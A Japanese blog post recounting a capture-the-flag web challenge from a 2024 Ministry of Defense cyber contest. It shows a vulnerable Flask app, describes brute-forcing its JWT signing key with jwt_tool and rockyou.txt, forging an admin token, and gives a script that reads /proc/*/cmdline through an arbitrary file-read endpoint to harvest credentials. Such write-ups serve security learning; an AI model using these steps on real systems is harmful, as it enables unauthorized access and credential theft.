LoginSignup
1
0

防衛省 サイバーコンテスト 2024 Writeup

Posted at

はじめに

2024/2/24 (日) 開催された防衛省サイバーコンテストに参加しました!
昨年見かけたときから今年こそは参加するぞと意気込んでいたので、感無量です^^

※サーバ閉鎖&ログを取り忘れという失態により役に立たないWriteupとなっております。時間のある時に暇つぶし程度で目を通してください🙄Writeupじゃなくてほぼ参加記です。

目次

  1. Web
  2. まとめ

Web

とりあえずWebやるか、、という気持ちで問題を解き始めましたがこれがなかなか沼でした。
30点問題が解けてうれしかったのでそれについてWriteup書こうと思います。

Bruteforce

、、と思ったのですが、書こうと思った時点でサーバーが閉鎖されておりアクセスできないという事態に😓ということで覚えている範囲で記載します。Writeupはすぐに書こう(反省)

問題概要

5000番と8000番ポートで公開されている2つのサービスがあります。
8000番のほうはBasic認証が設定されていてアクセスができないので、5000番ポートで公開されているサービスから攻めていくと思われます。

ctf-web-hard.py

from flask import Flask
from flask import jsonify
from flask import request

from flask_jwt_extended import create_access_token
from flask_jwt_extended import get_jwt_identity
from flask_jwt_extended import jwt_required
from flask_jwt_extended import JWTManager

app = Flask(__name__)


app.config["JWT_SECRET_KEY"] = "*************"
app.config["JWT_ACCESS_TOKEN_EXPIRES"] = False
app.config["JWT_REFRESH_TOKEN_EXPIRES"] = False
app.config["JWT_COOKIE_CSRF_PROTECT"] = False
app.config["JWT_ENCODE_NBF"] = False


jwt = JWTManager(app)


@app.route("/login", methods=["POST"])
def login():
    users = {}
    users['test'] = 'test'
    users['admin'] = '*************'
    username = request.json.get("username", None)
    print(username)
    password = request.json.get("password", None)
    print(password)
    if (not username in users) or (password != users[username]):
        return jsonify({"msg": "Bad username or password"}), 401

    access_token = create_access_token(identity=username)
    return jsonify(access_token=access_token)

@app.route("/protected", methods=["POST"])
@jwt_required()
def protected():
    current_user = get_jwt_identity()
    if current_user == "test" :
        return "ummm...."
    elif current_user == "admin" :
        filepath = request.json.get("filepath",None)
        f = open(filepath,'r')
        filedata = f.read()
        f.close()
        return jsonify(filedata), 200

if __name__ == "__main__":
    app.run(host="0.0.0.0")


ふむふむ、、、 /protectedにadmin権限でアクセスすればいいのね、、どうやんの?

JWT

プログラムをみるとLogin時に付与されたJWTで判別しているようです。
記事によるとJWTは下記のような構造になっているらしい

ヘッダ、ペイロード、署名の3つから成る。
それぞれは、Base64でエンコードされている
それぞれは、 . (ドット) で結合されている。

ならtestをadminにすれば行けるのでは??と思ったが事態はそう単純じゃないらしい

HS256と総当たり攻撃

JWTには署名がついており、HS256というものが使用されていると総当たりができてしまうらしい。
こちらの記事を参考にjwt_toolrockyou.txtを使って総当たりを実施したところconankunという鍵が使用されていることが判明した。
この辺で問題名の意味を理解した。

testadminに変えて、conankunで再署名したものでアクセス!filepathは~、、あれ、何指定すればいいんだ??

試行錯誤

ここからめちゃくちゃ時間かかったので端折りますが、本当にわからなかった。

  1. 8000番で公開されているサーバにアクセスするためにはadminのパスワードが分かればいいのでは?
    filepathctf-web-hard.pyを指定して、users['admin'] = '*************'となっている部分を読めたのはいいものの、そのクレデンシャルではアクセスできない
  2. ほかのディレクトリにflag.txtみたいなのがないか探すもみつからない

マジでわからなかったのでヒント見ました。

そしてフラグ獲得へ、、

ヒントを見るとなにやらプロセスをみろみたいなことが書いてある(/proc/*/cmdlineがどーたらみたいなヒントだった気がするけど詳細は忘れましたすみません。)
ということで汚いコードを書いて流してみると、8000番で動作しているサービスはpythonの簡易サーバーで動作しており、configファイルからBasic認証に使われてるクレデンシャルを見ることができました。

import requests
import json

jwt_token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTcwODg0MzUxOCwianRpIjoiZWQxNWVmZDctYmMzOC00NTcyLWI5NTEtMjc4ZjE5MDJiNjk3IiwidHlwZSI6ImFjY2VzcyIsInN1YiI6ImFkbWluIn0.xHqcMqTEYhbLFWIguSNCvsVUbcTdrbjGV2-5QtD32-4"

url = "http://10.10.10.34:5000/protected"

for i in range(1,32768):
    
    # POST用データ作成
    payload = {
        "filepath": f"/proc/{i}/cmdline"
    }
    
    # JSON形式に変換
    json_payload = json.dumps(payload)

    # リクエスト送信
    res = requests.post(url, data=json_payload, headers={
        "Content-Type": "application/json",
        "Authorization": f"Bearer {jwt_token}"
        })

    if res.status_code == 200:
        print(f"PID:{i} cmdline:{res.text}")

Basic認証を突破してフラグゲット
FLAG{pLi5lfm8hJK7}

まとめ

サーバ閉鎖されてた&全然ログとってないのコンボで価値のないwriteupになってしまいましたが、苦しんで(ヒントもみて)何とか解答できた様子が伝わりましたでしょうか!?この苦しみを味わってからフラグ取れた時が一番気持ちいいんです()

順位も振るわず実力不足を感じる参加とはなりましたが、まだまだこれからということで参加できただけでもよしとします😊
みなさんも来年は一緒に参加しましょう!Writeup書きたい人は競技中にちゃんとログとかメモとか取っておくことをお勧めしますw

1
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
1
0